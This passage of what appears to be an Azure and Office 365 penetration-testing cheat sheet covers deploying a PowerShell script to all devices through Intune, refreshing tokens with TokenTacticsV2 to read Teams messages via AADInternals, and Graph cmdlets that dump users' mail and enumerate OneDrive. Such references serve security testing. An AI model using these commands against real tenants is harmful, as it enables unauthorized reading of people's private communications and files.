||||||
3. Go to **Scripts** and click on **Add** for Windows 10.
|
|
||||||
4. Add a **Powershell script**
|
|
||||||
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
|
|
||||||
|
|
||||||
:warning: It will take up to one hour before you script is executed !
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## Office 365
|
|
||||||
|
|
||||||
### Microsoft Teams Messages
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local
|
|
||||||
AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### Outlook Mails
|
|
||||||
|
|
||||||
* Read user mails
|
|
||||||
```ps1
|
|
||||||
Get-MgUserMessage -UserId <user-id> | ft
|
|
||||||
Get-MgUserMessageContent -OutFile mail.txt -UserId <user-id> -MessageId <message-id>
|
|
||||||
```
|
|
||||||
|
|
||||||
### OneDrive Files
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
$userId = "<user-id>"
|
|
||||||
Import-Module Microsoft.Graph.Files
|
|
||||||
Get-MgUserDefaultDrive -UserId $userId
|
|
||||||
Get-MgUserDrive -UserId $UserId -Debug
|
|
||||||
Get-MgDrive -top 1
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [Microsoft Graph - servicePrincipal: addPassword](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-addpassword?view=graph-rest-1.0&tabs=powershell)
|
|
||||||
* [Microsoft Intune - Microsoft Intune support for Windows LAPS](https://learn.microsoft.com/en-us/mem/intune/protect/windows-laps-overview)
|
|
||||||
* [Pentesting Azure Mindmap - Alexis Danizan](https://github.com/synacktiv/Mindmaps)
|
|
||||||
* [Running Powershell scripts on Azure VM - Netspi](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/)
|
|
||||||
* [Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen](https://www.netspi.com/blog/technical/cloud-penetration-testing/get-azurepasswords/)
|
|
Loading…
Reference in New Issue